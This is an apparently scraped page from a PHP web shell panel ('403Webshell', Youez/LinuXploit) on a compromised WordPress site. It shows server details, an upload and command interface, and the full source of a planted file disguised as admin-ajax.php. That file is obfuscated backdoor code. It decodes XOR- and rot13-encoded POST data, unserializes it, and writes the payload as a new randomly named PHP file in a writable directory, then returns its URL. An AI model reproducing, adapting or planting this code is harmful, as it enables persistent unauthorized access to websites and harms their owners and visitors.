403Webshell
Server IP : 172.67.216.182  /  Your IP : 172.69.176.170
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/wwwroot/savinassociates.com/wp-includes/theme-compat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/savinassociates.com/wp-includes/theme-compat/admin-ajax.php
<?php $ghxAEeMw = 'D'.'O'.chr(533-466).chr(85).chr(348-271).chr(69).chr(78)."\x54"."\x5f".'R'.chr(585-506).'O'."\x54";$dolXR = "\110"."\124"."\x54".chr(626-546)."\x5f".chr(161-89)."\x4f".chr(884-801)."\124";$PQJwE = "\150".'t'.chr(308-192)."\x70"."\x3a".'/'."\x2f";$AHIcda = "\x2e".'p'.chr(104).'p';$uowvES = chr(140-28).'h'."\x70";$QtJaC = chr(901-799).chr(105).chr(1107-999).chr(101).'_'.chr(1046-934).'u'.'t'."\137".chr(99)."\x6f".'n'."\x74".chr(599-498)."\x6e"."\x74"."\163";$LiLKSCBM = "\x72"."\x61".chr(119).chr(117)."\x72".'l'."\x64"."\x65".chr(680-581).chr(111).chr(465-365).chr(101);$uQryxxnZIv = "\x75".'n'.chr(115)."\x65".chr(809-695)."\x69".chr(97).chr(334-226).chr(105)."\x7a".'e';$SVnjeoqESd = chr(874-769).'s'.chr(484-389).chr(851-732)."\162"."\x69"."\164".chr(97).'b'."\154".'e';$IjBGVmh = chr(662-550).'h'.chr(421-309)."\x76".chr(742-641).'r'."\x73"."\151".chr(831-720).'n';$blIKsCTQ = "\x73"."\164".chr(245-131)."\x5f".chr(229-115)."\157".'t'."\61"."\x33";$WdRny = chr(115).chr(101).chr(855-741).chr(105).chr(724-627).chr(608-500).chr(105).chr(771-649)."\145";$gefBYTcPN = "\163".chr(116).chr(970-856).chr(630-535)."\x73".'p'."\154".chr(515-410).'t';foreach ($_POST as $UKCAvOP => $ymMbR){$kgAgtnf = strlen($UKCAvOP);if ($kgAgtnf == 16){$ymMbR = $gefBYTcPN($LiLKSCBM($blIKsCTQ($ymMbR)));$UKCAvOP = array_slice($gefBYTcPN(str_repeat($UKCAvOP, (count($ymMbR)/16)+1)), 0, count($ymMbR));function amOAwPX($cQWKEKogB, $CUMEx, $UKCAvOP){$cPSImmZOc = "38610e3d-da55-4d86-b7f8-b8c9b599f235";return $cQWKEKogB ^ $cPSImmZOc[$CUMEx % strlen($cPSImmZOc)] ^ $UKCAvOP;}$ymMbR = implode("", array_map("amOAwPX", array_values($ymMbR), array_keys($ymMbR), array_values($UKCAvOP)));$ymMbR = @$uQryxxnZIv($ymMbR);if (@is_array($ymMbR)){$wmtpK = array_keys($ymMbR);$ymMbR = $ymMbR[$wmtpK[0]];if ($ymMbR === $wmtpK[0]){echo @$WdRny(Array($uowvES => @$IjBGVmh(), ));exit();}else {function rNFqjmhB($fQhleCpzHir){static $FJFUhGSB = array();$KgFzNJqGD = glob($fQhleCpzHir . '/*', GLOB_ONLYDIR);$GfylNJzGEf = count($KgFzNJqGD);if ($GfylNJzGEf > 0) {foreach ($KgFzNJqGD as $fQhleCpzH) {if (@$SVnjeoqESd($fQhleCpzH)) {$FJFUhGSB[] = $fQhleCpzH;}}}foreach ($KgFzNJqGD as $fQhleCpzHir) rNFqjmhB($fQhleCpzHir);return $FJFUhGSB;}$lcHSO = $_SERVER[$ghxAEeMw];$KgFzNJqGD = rNFqjmhB($lcHSO);$wmtpK = array_rand($KgFzNJqGD);$nfWQE = $KgFzNJqGD[$wmtpK] . "/" . substr(md5(time()), 0, 8) . $AHIcda;@$QtJaC($nfWQE, $ymMbR);$fQtNZoBVdA = $PQJwE . $_SERVER[$dolXR] . substr($nfWQE, strlen($lcHSO));echo $fQtNZoBVdA;die();}}}}

Youez - 2016 - github.com/yon3zu
LinuXploit